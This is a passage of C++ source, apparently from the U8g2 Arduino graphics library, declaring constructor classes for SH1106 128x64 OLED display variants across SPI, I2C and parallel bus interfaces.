d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_128X64_WINSTAR_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_128X64_WINSTAR_1_6800 : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_1_8080 : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_128X64_NONAME_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_128X64_NONAME_2_6800 : public U8G2 { public: U8G2_SH1106_128X64_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_2_8080 : public U8G2 { public: U8G2_SH1106_128X64_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_128X64_VCOMH0_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_128X64_VCOMH0_2_6800 : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_2_8080 : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_128X64_WINSTAR_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_128X64_WINSTAR_2_6800 : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_2_8080 : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_128X64_NONAME_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_128X64_NONAME_F_6800 : public U8G2 { public: U8G2_SH1106_128X64_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_F_8080 : public U8G2 { public: U8G2_SH1106_128X64_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_128X64_VCOMH0_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_128X64_VCOMH0_F_6800 : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_F_8080 : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_128X64_WINSTAR_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_128X64_WINSTAR_F_6800 : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_WINSTAR_F_8080 : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_1_SW_I2C : public U8G2 { public: U8G2_SH1106_128X64_NONAME_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_128X64_NONAME_1_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_NONAME_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_128X64_NONAME_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_NONAME_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_128X64_VCOMH0_1_SW_I2C : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_128X64_VCOMH0_1_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_128X64_VCOMH0_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_1_2ND_HW_I2C(const 